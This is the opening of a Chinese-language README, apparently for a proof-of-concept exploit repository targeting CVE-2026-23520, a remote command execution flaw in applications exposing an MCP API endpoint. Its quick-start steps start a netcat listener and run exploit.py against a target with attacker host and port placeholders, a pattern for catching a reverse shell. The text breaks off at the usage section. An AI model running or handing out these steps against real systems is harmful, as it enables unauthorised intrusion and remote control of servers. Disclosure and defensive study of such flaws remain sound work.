CVE-2026-23520

CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 nc -lvnp ATTACKERPORT 2. 运行利用程序 python3 exploit.py TARGET --lhost ATTACKERIP --lport ATTACKERPORT 📥 使用方法 python3...